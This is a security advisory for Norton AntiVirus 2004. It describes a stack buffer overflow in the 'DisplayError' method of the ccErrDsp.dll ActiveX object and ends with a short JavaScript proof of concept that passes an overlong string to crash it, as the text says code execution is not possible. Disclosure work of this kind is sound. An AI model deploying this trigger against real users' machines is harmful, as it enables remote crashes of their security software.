===============
1) Introduction
===============
Symantec's Norton AntiVirus(tm) 2004 Professional is the world's most
trusted antivirus solution with advanced protection. It protects email,
instant messages, and other files by removing viruses automatically.
Expanded threat detection alerts the user to spyware and similar hacking
programs. It also supplies advanced tools for data recovery and secure
file deletion and a license for two computers.

2) Bug
======
Symantec Norton AntiVirus 2004 installs many DLLs(Dynamic Link Library)
and COM(Component Object Model) objects. One of its DLL's "ccErrDsp.dll"
Which is by the default installation options located at :
C:\Program Files\Common Files\Symantec Shared\ccErrDsp.dll
"ccErrDsp.dll" registers "CcErrDsp.ErrorDisplay.1" COM Object.
After Symantec Norton AntiVirus 2004 was used, this object can be
created Localy & Remotely!
For Example:
Set symkiller = CreateObject("CcErrDsp.ErrorDisplay.1" )
The vulnerability appears in the "sProduct" parameter at the
"DisplayError"
function of the object.
The "DisplayError" recieves the following parameters:
DisplayError(
[in] long nParentWnd,
[in] int nModuleId,
[in] int nErrorId,
[in] BSTR sCaption,
[in] BSTR sErrorText,
[in] BSTR sProduct,
[in] BSTR sVersion,
[in, optional] VARIANT varKeyArray,
[in, optional] VARIANT varValueArray,
[out, retval] VARIANT_BOOL* pRet);
Which means that the following assignment:
object.DisplayError(1,1,1,[STR <=255],[STR <=255],[Really Long String -
'A'>521950],[STR <=255]); Will cause a Stack Buffer Overflow, which does
not allow code execution.

This is Proof Of Concept Code:

for (i=0;i<2000;i++) {
a= a + b;
}
symkiller=new ActiveXObject("CcErrDsp.ErrorDisplay.1" );
symkiller.DisplayError(1,1,1,b,b,a,b);
